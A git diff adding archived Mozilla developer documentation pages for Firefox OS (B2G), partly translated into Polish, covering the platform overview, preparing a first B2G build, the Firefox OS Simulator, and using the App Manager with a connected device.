+<p>The Firefox OS platform consists of many components. While you don't need to understand its architecture in order to build applications that run on Firefox OS, if you're working on developing or porting the platform—or are simply curious—the following documentation may be of interest to you.</p>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Documentation" name="Documentation">Documentation about the Firefox OS platform</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia">Gaia</a></dt>
+ <dd>
+ Documentation about Gaia, the user interface application for Firefox OS devices; this is a Web application running atop the Firefox OS software stack.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gonk">Gonk</a></dt>
+ <dd>
+ Documentation about Gonk, the operating system layer underneath Gaia. This consists of a Linux kernel and a hardware abstraction layer to which Gecko communicates.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a></dt>
+ <dd>
+ Gecko is the layer of Firefox OS that provides the same open web standards implementation used by Firefox and Thunderbird, as well as many other applications.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Security" title="/en-US/docs/Mozilla/Firefox_OS/Security"> Security</a></dt>
+ <dd>
+ Documentation about security in Firefox OS; this includes topics about security devices from every perspective: for app developers, device integrators, and so forth.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart">Feature support chart</a></dt>
+ <dd>
+ A chart of which features are available in which types of Firefox OS builds.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Architecture">Firefox OS architecture overview</a></dt>
+ <dd>
+ An overview of how Firefox OS is structured internally; this is primarily of interest to platform developers and people doing porting work.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Apps_architecture">Firefox OS apps architecture</a></dt>
+ <dd>
+ An overview of the application model on Firefox OS.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Settings_list" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Settings_list">Firefox OS settings list</a></dt>
+ <dd>
+ A list of common setting names that can be used with the <a href="/en-US/docs/WebAPI/Settings" title="/en-US/docs/WebAPI/Settings">Settings</a> API.</dd>
+ </dl>
+ <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">View All...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Community" name="Community">Getting help from the community</h2>
+ <p>If you're working with Firefox OS, or developing applications you'd like to run on Firefox OS devices, there are community resources to help you!</p>
+ <ul>
+ <li>Consult the Boot to Gecko project forum: {{ DiscussionList("dev-b2g", "mozilla.dev.b2g") }}</li>
+ </ul>
+ <ul>
+ <li>Ask your question on Mozilla's Boot to Gecko IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+ </ul>
+ <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+ <br>
+ <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related topics</h2>
+ <ul>
+ <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Mobile</a></li>
+ <li><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a></li>
+ <li><a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a></li>
+ <li><a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li>
+ </ul>
+ <h2 class="Tools" id="Resources">Resources</h2>
+ <ul>
+ <li><a class="link-https" href="https://wiki.mozilla.org/B2G/FAQ" title="B2G/FAQ">Mozilla wiki FAQ</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/B2G/Schedule_Roadmap" title="https://wiki.mozilla.org/B2G/Schedule_Roadmap">Roadmap</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Feature_support_chart">Feature support chart</a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/pl/archive/b2g_os/preparing_for_your_first_b2g_build/index.html b/files/pl/archive/b2g_os/preparing_for_your_first_b2g_build/index.html
new file mode 100644
index 0000000000..5ac3b5ee4c
--- /dev/null
+++ b/files/pl/archive/b2g_os/preparing_for_your_first_b2g_build/index.html
@@ -0,0 +1,135 @@
+---
+title: Preparing for your first B2G build
+slug: Archive/B2G_OS/Preparing_for_your_first_B2G_build
+translation_of: Archive/B2G_OS/Preparing_for_your_first_B2G_build
+---
+<div class="summary">
+ <p>Before you can build B2G, you need to clone the repository and configure your build tree. This article explains how to do that. </p>
+</div>
+<p>Depending on your internet connection, the configuration step takes a number of hours to download the files necessary to build FirefoxOS (with a mediocre 150 kBps connection, downloading gigabytes of Android repositories can take tens of hours).  Waiting is not as fun as doing, so after you have read through this page and have kicked off the configure script, consider using the time to set up and try out the <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator" title="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS simulator</a>, begin familiarizing yourself with <a class="vt-p" href="/en-US/docs/Apps" title="/en-US/docs/Apps">Documentation for app developers</a> including Designing and Building an App, or familiarize yourself with the information on upcoming steps.</p>
+<div class="note">
+ <p>You might want to have a side task prepared, or a friend available to go for a coffee with, while you are running the B2G config and build steps. They can take a bit of time.</p>
+</div>
+<h2 id="Clone_B2G_repository">Clone B2G repository</h2>
+<p>The first step, before you can start your first build, is to clone the B2G repository. This will not fetch everything! Instead, it will fetch the B2G build system and setup utilities. Most of the actual B2G code is in the main Mozilla <a class="vt-p" href="/en-US/docs/Mercurial" title="Mercurial">Mercurial</a> repository.</p>
+<p>To clone the repository, use git:</p>
+<pre>git clone git://github.com/mozilla-b2g/B2G.git</pre>
+<p>After cloning (which should only take a minute with a fast connection), <code>cd</code> into the B2G directory:</p>
+<pre>cd B2G
+</pre>
+<h2 id="Configuring_B2G_for_your_device">Configuring B2G for your device</h2>
+<div class="warning">
+ <strong>Important</strong>: Remember that only devices running <strong>Android 4.0.4</strong> (<strong>Ice Cream Sandwich</strong>)<strong>, 4.3 (Jelly Bean) and 4.4 (KitKat)</strong> and platforms based around it are supported (current Firefox OS devices are). Please check that your phone is actually running one of those supported versions, otherwise this step will most likely fail since some drivers are pulled from non-Nexus devices. Also, if you have to flash your device with the matching stock release. Keep in mind that some USB hubs don't work well with flashing tools, so you may have to connect your device to a built-in USB port.</div>
+<div class="warning">
+ <strong>Important</strong>: if you are doing the build on Ubuntu 12.10+ or Fedora, you will need to specify GCC 4.6 as the default host compiler after having retrieved the B2G sources, for the process to work (these distros use GCC 4.7 by default). Read <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a> to find out how to do it.</div>
+<div class="note">
+ <strong>Note:</strong> <strong>please read all the instructions below</strong> before running any of the build process commands, to make sure you are doing the right thing for you!</div>
+<p>Once you've retrieved the core B2G build system, you need to configure it for the device on which you plan to install it. To get a list of supported devices, you can use the <code>config.sh</code> utility — run the following command from within the B2G directory:</p>
+<pre>./config.sh
+</pre>
+<p>This will display a list of the supported devices, like so:</p>
+<pre>Usage: ./config.sh [-cdflnq] (device name)
+Flags are passed through to |./repo sync|.
+
+Valid devices to configure are:
+- galaxy-s2
+- galaxy-nexus
+- nexus-4
+- nexus-s
+- nexus-s-4g
+- flo "(Nexus 7 2013)"
+- nexus-5
+- flame
+- otoro
+- unagi
+- inari
+- keon
+- peak
+- leo
+- hamachi
+- helix
+- wasabi
+- fugu
+- tara
+- pandaboard
+- emulator
+- emulator-jb
+- emulator-kk
+- emulator-x86
+- emulator-x86-jb
+- emulator-x86-kk
+</pre>
+<p>If your device isn't listed, you should stop right now and either help port B2G to your device or wait until someone else does it. We'd prefer it if you help out!</p>
+<div class="note">
+ <strong>Note:</strong> You can find the device name of your phone on the <a href="/en-US/Firefox_OS/Phones">Firefox OS Phones</a> page.</div>
+<div class="note">
+ <strong>Note: Configuring and building B2G for Keon on a Mac DOESN'T WORK</strong>. You'll need to use Linux when building for this device.</div>
+<div class="note">
+ <strong>Note</strong>: If for any reason you want to build against a specific version of Gecko, see <a href="#Building_against_a_custom_Gecko">Building against a custom Gecko</a> before you proceed. If you want to build a branch other than the the default for your device (for example, to build a specific version of B2G), see <a href="#Building_a_branch">Building a branch</a>. Note: the default branch varies by device and is <strong>not necessarily trunk</strong>.</div>
+<p>This would be a good time for a coffee break, since at this point, you'll be doing your first pull of all the code needed to build Boot to Gecko. Running the device config step as indicated below can take a long time; you may stop it with Ctrl-C and restart it at a later time. If you think some part of the process may have been terminated without completing, run './repo sync' to repair any possible problems.</p>
+<h3 id="Configuring_the_B2G_build_for_a_mobile_device">Configuring the B2G build for a mobile device</h3>
+<p>At this point, connect your device if it is not already connected; the configure process will need to access it.</p>
+<p>If your device was listed in the results shown above, you can start the configure process by running <code>config.sh</code> again, this time specifying your device's name. For example, to build for the Samsung Google Nexus S, you would type:</p>
+<pre>./config.sh nexus-s
+</pre>
+<div class="note">
+ <strong>Note:</strong> If you get an error message like <code>fatal: manifest 'nexus-s.xml' not available</code>, chances are that you simply have to specify the branch you want to use. See <a href="#Building_a_branch">Building a branch</a> for details.</div>
+<div class="note">
+ <strong>Note</strong>: If the config step fails with an error message like <code>error: manifest required for this command -- please run init</code>, then changes are that the manifest file for the repo (located at <code>B2G/.repo/manifest.xml</code>) wasn't created successfully. You should try running <code>config.sh</code> again. If you are doing this for a new device you could add it to <code>config.sh</code> and then hand it your local manifest file like so:<br>
+ <code>./config.sh &lt;device&gt; -m path/to/manifest.</code></div>
+<p>Near the start of the configuration you might need to set the option for color usage, then after this the process continues. You can just select 'y' here, as you probably want a color build.</p>
+<h3 id="Configuring_a_build_using_a_system_backup">Configuring a build using a system backup</h3>
+<p>If your phone no longer has Android on it, and your B2G tree doesn't have the binary blobs in it, but you wisely <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition" title="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">made a backup of the <code>/system</code> partition</a>, you can perform the build on the system backup like this:</p>
+<pre>ANDROIDFS_DIR=&lt;absolute path to parent dir of system dir&gt; ./config.sh &lt;target&gt;
+</pre>
+<p>The build system will default to looking in someplace like <code>backup-inari/system</code> (depending on the device configuration); if you place the files in the expected place you won't need to specify the directory.</p>
+<p>Note that if your phone always had Firefox OS on it to begin with and never ran Android, it's still fine to pull the <code>/system</code> partition per the above directions — this will give you the right files.</p>
+<h3 id="Configuring_the_B2G_build_for_an_emulator">Configuring the B2G build for an emulator</h3>
+<p>If you want to build an emulator rather than on a real phone, you can specify <code>emulator</code>* to get an ARM device emulator, or <code>emulator-x86*</code> to build an x86 emulator. The latter is faster but not as accurate a representation of an actual mobile device and not as well supported; using it is not advised.</p>
+<p>So, to build the ARM Jellybean emulator, for example, you would use the following command:</p>
+<pre>./config.sh emulator-jb
+</pre>
+<p>Near the start of the configuration you might need to set the option for color usage, then after this the process continues. You can just select 'y' here, as you probabaly want a color build.</p>
+<p>By this point you should be ready to <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Building" title="Mozilla/Firefox_OS/Building">start the build</a>, unless you need any of the more advanced information detailed below.</p>
+<p>Beware that building for the emulator may fail on 64-bit Linux.</p>
+<div class="note">
+ <strong>Note:</strong> Developers on Mac OS X 10.9 or above have to switch to emulator-jb or emulator-kk instead, because AOSP ICS based emulator can't be built on Mac OS X 10.9. See <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Requirements_for_Mac_OS_X" title="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Requirements_for_Mac_OS_X">Requirements for Mac OS X</a> for further information.</div>
+<h2 id="Building_against_a_custom_Gecko">Building against a custom Gecko</h2>
+<p>There may be times that you want or need to build Boot to Gecko based on a different version of Gecko than the one that's used by default (as specified in the manifest). You can do so by editing the file <code>.userconfig</code>. For example, if you want to build against mozilla-central:</p>
+<pre>export GECKO_PATH=/path/to/mozilla-central
+export GECKO_OBJDIR=/path/to/mozilla-central/objdir-gonk
+</pre>
+<div class="note">
+ <p><strong>Note</strong>: if building against a custom Gecko in Mac OS X, the mozilla-central directory must be in a case sensitive file system.<br>
+  </p>
+</div>
+<p id="Building_a_branch">Note that you can do this either before you pull the repository (i.e. before the <code>config.sh</code> step above) or at any later point.  You can also keep multiple builds (with debugging on or not, etc) by having multiple userconfig files (with different settings--each needs a different OBJDIR, of course) and making .userconfig a symlink that points to whichever config you want to build at the moment.</p>
+<p>For more information, read <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_Gecko_source_tree" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_Gecko_source_tree">Changing the Gecko source tree</a>.</p>
+<h2 id="Building_a_branch_2">Building a branch</h2>
+<p>If you want to build for a branch other than the default branch (<strong>note: the default branch may not be "master"!</strong>), you will need to prefix your call to config.sh with a branch name, like this:</p>
+<pre>BRANCH=branch-name ./config.sh &lt;device&gt;</pre>
+<p>The branch names are pretty logical, and largely follow the names of the products/versions, so <code>v1-train</code>, <code>v1.0.0</code>, <code>v1.0.1</code>, <code>v1.1</code>, <code>v1.1.0hd</code>, <code>v1.2, v1.3, v1.4, v2.0</code>  and so on into the future. As an example, to build B2G Firefox 1.2, for the Arm emulator, you'd enter</p>
+<pre>BRANCH=v1.2 ./config.sh emulator</pre>
+<p>If you have run config.sh already, you can see the names of the branches, by going to <code>B2G/.repo/manifests</code> and doing "<code>git branch -a</code>" (this isn't populated unti then.) <strong>The branch name is given as the final token on the line, e.g. "<code>v1-train</code>" or "<code>master</code>"</strong>:</p>
+<pre> remotes/origin/master
+ remotes/origin/v1-train
+ remotes/origin/v1.0.0
+ remotes/origin/v1.0.1</pre>
+<p>See <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a> for additional customizations you can do.</p>
+<h2 id="Copying_your_B2G_tree_to_a_new_machine">Copying your B2G tree to a new machine</h2>
+<p>If you've previously set up the B2G tree and then gotten a new computer (lucky you!), you'll find your life will be much easier if you simply migrate your entire B2G tree from your old computer to your new one, rather than setting the whole thing up again. To do that, mount your old computer's drive onto your new computer, then do this:</p>
+<pre>rsync -a <em>source</em>/ <em>dest</em>/
+</pre>
+<p>Where <code>source</code> is the full path (including the trailing slash) of the source tree, and <code>dest</code> is where you want to put it (the trailing slash is also important!).</p>
+<div class="note">
+ <strong>Note:</strong> If you copy the files from a computer with another platform ensure to run '<em>./build.sh clean'</em> before you start the build process. If you don't do this you might encounter compilation issues.</div>
+<p>If you do this, you can skip all of the rest of this article and move right on to <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Building" title="Mozilla/Firefox_OS/Building">building</a>.</p>
+<h2 id="Updating_your_B2G_tree">Updating your B2G tree</h2>
+<p>When the repository is updated to a newer version of B2G, you'll want to update your B2G tree. To do this, you can run the following commands:</p>
+<pre>git fetch origin
+git checkout origin/master</pre>
+<p>You can check that these worked correctly by running:</p>
+<pre>git show HEAD</pre>
+<p>and checking that the commit shown matches the latest commit shown at: <a class="vt-p" href="https://github.com/mozilla-b2g/B2G/commits/master" title="https://github.com/mozilla-b2g/B2G/commits/master">https://github.com/mozilla-b2g/B2G/commits/master</a></p>
+<h2 id="On_to_the_next_step">On to the next step</h2>
+<p>At this point, you should be ready for <a href="/en-US/Firefox_OS/Building">Building Firefox OS [en-US]</a>.</p>
diff --git a/files/pl/archive/b2g_os/simulator/index.html b/files/pl/archive/b2g_os/simulator/index.html
new file mode 100644
index 0000000000..f9ac33f6e9
--- /dev/null
+++ b/files/pl/archive/b2g_os/simulator/index.html
@@ -0,0 +1,47 @@
+---
+title: Symulator Firefox OS
+slug: Archive/B2G_OS/Simulator
+translation_of: Archive/B2G_OS/Simulator
+---
+<div class="note">
+ <p>Dodatek Symulator Firefox OS składa się z dwóch części:</p>
+ <p> </p>
+ <ul>
+ <li><strong>Symulator</strong>: zawiera <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">desktopową wersję klienta Firefox OS</a>, który jest wyższą warstwą <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> działającym na twoim pulpicie. Symulator zawiera dodatkowo kilka <a href="#Simulator-toolbar" title="#Simulator-toolbar">dodatkowych funkcji</a> które nie są w standardzie desktopowych wydań Firefox OS</li>
+ <li><strong>Dashboard</strong>: narzędzie przeglądarki Firefox umożliwiające uruchomienie i zatrzymanie symulatora oraz instalację, deinstalację i debugowanie aplikacji działających symulatora. Dashboard ponadto umożliwi Ci instalację aplikacji na prawdziwym urządzeniu i sprawdzenie manifestów w poszukiwaniu problemów.</li>
+ </ul>
+ <p>Teraz te dwie części zostały połączone: funkcje Dashboard są zaimplementowane przez  <a href="/en-US/Firefox_OS/Using_the_App_Manager">Menedżer Aplikacji (App Manager)</a> Firefox OS, wbudowanego w Firefoxie. The Simulator add-on now only includes the Simulator part.</p>
+</div>
+<p>Dodatek Symulator Firefox OS umożliwia Ci testowanie i debugowanie <a href="/en-US/docs/Apps" title="/en-US/docs/Apps">aplikacji Firefox OS</a> na komputerze. Cykl kodowanie-testowanie-debugowanie jest znaczenie szybsze na symulatorze w porównaniu z rzeczywistym urządzeniem, oczywiście nie potrzemujesz urządzenia aby go używać. Symulator jest <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">desktopową wersją klienta Firefox OS</a>, który jest wyższą warstwą <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> działającym na twoim pulpicie.</p>
+<p>Włączasz i wyłączasz symulator i dołączasz narzędzia deweloperskie używając  <a href="/en-US/Firefox_OS/Using_the_App_Manager">Menedżera Aplikacji (App Manager)</a>, wbudowanego w Firefox.</p>
+<h2 id="Limity_symulatora">Limity symulatora</h2>
+<p>Pamiętaj, że symulacja Firefox OS nie jest idealna.</p>
+<h3 id="Limity_sprzętowe">Limity sprzętowe</h3>
+<p>Symulator nie symuluje limitów sprzętowych takich jak dostępna pamięć RAM lub prędkość procesora.</p>
+<h3 id="Kodeki_audiowideo">Kodeki audio/wideo</h3>
+<p>Poniższe kodeki wymagają sprzętowego dekodowania i nie są wspierane:</p>
+<ul>
+ <li>MP3</li>
+ <li>AAC</li>
+ <li>H.264 (MP4)</li>
+ <li>WebM</li>
+</ul>
+<p>To znaczy, że symulator nie potrafi przetestować odtwarzania dźwięku i wideo między innymi na witrynach internetowych.</p>
+<h3 id="Niewspierane_API"><a name="Unsupported-APIs">Niewspierane API</a></h3>
+<p>Pewne API które normalnie działają na urządzeniu nie zadziałają w symulatorze ze względu na wspierany sprzęt niedostępny na komputerze. Zaimplementowaliśmy symulacje dla kilku API takie jak geolokacja (oczekujemy, że dodamy więcej w przyszłych wydaniach symulatora).</p>
+<p>W obecnym momencie poniższe API nie są wspierane. Używanie ich może spowodować otrzymanie błędów lub niewłaściwych wyników:</p>
+<ul>
+ <li><a href="/en-US/WebAPI/WebTelephony" title="/en-US/WebAPI/WebTelephony">Telephony</a></li>
+ <li><a href="/en-US/docs/WebAPI/WebSMS" title="/en-US/docs/WebAPI/WebSMS">WebSMS</a></li>
+ <li><a href="/en-US/docs/WebAPI/WebBluetooth" title="/en-US/docs/WebAPI/WebBluetooth">WebBluetooth</a></li>
+ <li><a href="/en-US/docs/WebAPI/Using_Light_Events" title="/en-US/docs/WebAPI/Using_Light_Events">Ambient Light</a></li>
+ <li><a href="/en-US/docs/WebAPI/Proximity" title="/en-US/docs/WebAPI/Proximity">Proximity</a></li>
+ <li><a href="/en-US/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Network Information</a></li>
+ <li><a href="/en-US/docs/Online_and_offline_events" title="/en-US/docs/Online_and_offline_events">navigator.onLine and offline events</a></li>
+ <li><a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration</a></li>
+</ul>
+<h2 id="Getting_help"><a name="Simulator-help"></a>Getting help</h2>
+<p>The Firefox OS Simulator is still at an early stage of development, and isn't yet as reliable and complete as we'd like it to be.</p>
+<p>If you find any bugs, please <a href="https://github.com/mozilla/r2d2b2g/issues?state=open">file them on GitHub</a>. If you have a question, try asking us on the <a href="https://lists.mozilla.org/listinfo/dev-developer-tools">dev-developer-tools mailing list</a> or on <a href="irc://irc.mozilla.org/#devtools">#devtools on irc.mozilla.org</a>.</p>
+<h3 id="How_to_enable_verbose_logging"><a name="Simulator-verbose-logging"></a>How to enable verbose logging</h3>
+<p>Use about:config to create the preference <a href="mailto:extensions.r2d2b2g@mozilla.org.sdk.console.logLevel">extensions.r2d2b2g@mozilla.org.sdk.console.logLevel</a>, set it to the integer value 0, and disable/reenable the addon. Additional messages about the Simulator's operation will appear in the Error Console (or Browser Console in newer versions of Firefox).</p>
diff --git a/files/pl/archive/b2g_os/using_the_app_manager/index.html b/files/pl/archive/b2g_os/using_the_app_manager/index.html
new file mode 100644
index 0000000000..2480e1f3ac
--- /dev/null
+++ b/files/pl/archive/b2g_os/using_the_app_manager/index.html
@@ -0,0 +1,274 @@
+---
+title: Using the App Manager
+slug: Archive/B2G_OS/Using_the_App_Manager
+translation_of: Archive/B2G_OS/Using_the_App_Manager
+---
+<div class="summary">
+<p>The App Manager is a tool for Firefox Desktop which provides a number of useful tools to help developers test, deploy and debug HTML5 web apps on Firefox OS phones &amp; Simulator, directly from Firefox browser.</p>
+
+<p>App Manager is available for Firefox OS 1.2 or later, lower versions are supported in <a href="/en-US/docs/Tools/Firefox_OS_1.1_Simulator">Firefox OS 1.1 Simulator</a>. The App Manager is being replaced by the <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>, starting from Firefox 33. The WebIDE provides all the features of the App Manager also features an editing environment to create and develop Firefox OS apps.</p>
+</div>
+
+<p>{{EmbedYouTube("z1Bxg1UJVf0")}}</p>
+
+<p>The App Manager is composed of:</p>
+
+<ul>
+ <li>An <a href="#Apps_panel"><em>Apps panel</em></a>, which manages local apps (app source code located on your computer) and apps hosted externally, allowing you to package and install them on your device or simulator, and debug them using Toolboxes</li>
+ <li>A <a href="#Device_panel"><em>Device panel</em></a>, which displays information about the connected device including Firefox OS version installed, permissions required for using device APIs on the device, and apps installed</li>
+ <li><a href="/en-US/docs/Tools_Toolbox"><em>Toolboxes</em></a>, which are are sets of developer tools (web console, inspector, debugger, etc.) that can be connected to a running app via the Apps panel to perform debugging operations</li>
+</ul>
+
+<h2 id="Quick_setup"><a name="Configuring_device">Quick setup</a></h2>
+
+<p>This section is designed to get you up and running as soon as possible; if you need some more detail please skip forward to the {{ anch("Device and system configuration") }} section and start reading from there.  Also see the {{ anch("Troubleshooting") }} section for help if you are having trouble.</p>
+
+<ol>
+ <li>Make sure you have Firefox Desktop 26+ installed</li>
+ <li>Open the App Manager (in the URL bar, type <code>about:app-manager</code>)</li>
+ <li>If you don't have a real device:
+ <ol>
+ <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Install the Firefox OS Simulator</a></li>
+ <li>In App Manager's bottom toolbar, click on <em>Start Simulator</em>, then click on the name of the installed simulator, which should appear there.</li>
+ </ol>
+ </li>
+ <li>If you have a real device:
+ <ol>
+ <li>Make sure your device is running Firefox OS 1.2+</li>
+ <li>On Windows, make sure to install the drivers provided by your phone manufacturer</li>
+ <li>In the Settings of your device, disable Screen Lock (<code>Settings &gt; Phone lock &gt; <code>Lock Screen</code></code>) and enable Remote Debugging (<code>Settings &gt; Device information &gt; More information &gt; Developer</code>)</li>
+ <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Install the ADB Helper</a> add-on in Firefox Desktop</li>
+ <li>Connect your device to your machine via a USB cable</li>
+ <li>You should see the name of your device in the App Manager's bottom bar. Click on it.</li>
+ </ol>
+ </li>
+ <li>The bottom bar should show "Connected to: xxx"</li>
+ <li>Click on the <em>Apps</em> panel and add an app (packaged or hosted)</li>
+ <li>The <em>Refresh</em> button validates your app and installs it on the Simulator/Device</li>
+ <li>The <em>Debug</em> button connects the developer tools to the running app</li>
+ <li><strong>See the {{ anch("Troubleshooting") }} section for help if you are having trouble</strong></li>
+</ol>
+
+<h2 id="Device_and_system_configuration">Device and system configuration</h2>
+
+<p>The first thing you'll need to do when using the App Manager is make sure your system and phone are set up correctly. This section will run through all the steps required.</p>
+
+<h3 id="Firefox_OS_1.2_required">Firefox OS 1.2+ required</h3>
+
+<p>Make sure your device is running Firefox OS 1.2/Boot2Gecko 1.2 or higher. To check which version of Firefox OS the device is runing, go to <code>Settings &gt; Device Information &gt; Software</code>.</p>
+
+<p>If you don't have a high enough version installed, depending on what phone you have you will need to either install an available nightly build of Firefox 1.2+, or configure and build it yourself from source.</p>
+
+<p>Builds available:</p>
+
+<ul>
+ <li><a href="http://downloads.geeksphone.com/">Geeksphone Keon/Peak builds</a> (to find out more about using these, read <a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Updating and Tweaking your Firefox OS Developer Preview phone/Geeksphone</a>)</li>
+ <li>More to follow</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: To build your own Firefox OS 1.2+ distribution, follow the instructions located at <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Building and installing Firefox OS</a>, starting with <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Firefox OS build prerequisites</a>.</p>
+</div>
+
+<h3 id="Remote_debugging">Remote debugging</h3>
+
+<p>Next, you need to enable remote debugging in Firefox OS. To do so, go to <code>Settings &gt; Device information &gt; More information &gt; Developer</code> and check the Remote Debugging checkbox.</p>
+
+<h3 id="Adb_Helper_Add-on" name="Adb_Helper_Add-on">ADB or ADB helper</h3>
+
+<p>The process uses the Android Debug Bridge (ADB) to handle the device-computer connection and communication. There are two options for running ADB:</p>
+
+<ul>
+ <li>
+ <p>Let Firefox handle ADB (recommended). <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Install the ADB Helper add-on</a>, which makes the process easier. With this installed, there's no need to install the ADB, and no need to type the <code>adb forward</code> command: everything is handled by the add-on.</p>
+ <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;" title="https://addons.mozilla.org">Download ADB Helper Add-on</a></li>
+ <li>Use ADB manually. You need to have it installed on your computer: download and install <code>adb</code> as explained in <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">Installing ADB</a>. You'll need to enable port forwarding by entering the following command into your terminal:
+ <pre>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre>
+ Note that you'll need to do this every time the phone is restarted or unplugged then re-plugged.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: There's no need to run this command if you installed the ADB Helper Add-on.</p>
+</div>
+
+<h2 id="Connecting_your_device_to_the_App_Manager">Connecting your device to the App Manager</h2>
+
+<p>With all your configuration done, it's now time to plug your device into your computer and start the App Manager:</p>
+
+<ol>
+ <li>Plug the device into your computer via USB.</li>
+ <li>Disable Screen lock on your device by going to <code>Settings &gt; Screen Lock</code> and unchecking the <code>Lock Screen</code> checkbox. This is a good idea because when the screen gets locked, the phone connection gets lost, meaning it is no longer available for debugging.</li>
+ <li>Start the App Manager — In Firefox Desktop select the <code>Tools &gt; Web Developer &gt; App Manager</code> menu option, or type <code>about:app-manager</code> in the URL bar.</li>
+ <li>At the bottom of the App Manager tab, you will see a connection status bar (see screenshot below). You should be able to connect your device by clicking the "Connect to localhost:6000" button.</li>
+ <li>If this works successfully, a prompt should appear on your device: "An incoming request to permit remote debugging connection was detected. Allow connection?". Tap the OK button (You may also have to press the power button on the phone so you can see the prompt.) The connection status bar should update to say "Connected to B2G", with a Disconnect button available to press if you want to cancel the connection.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6263/connection-status.png" style="display: block; height: 30px; margin: 0px auto; width: 600px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: The other controls in the connection status bar allow you to connect a simulator to the App Manager, which we cover in the next section, below, and change the port that the connection happens on. If you change the port, you'll also need to enable port forwarding for this port as well, as instructed in the {{anch("Enable port forwarding")}} section, above.</p>
+</div>
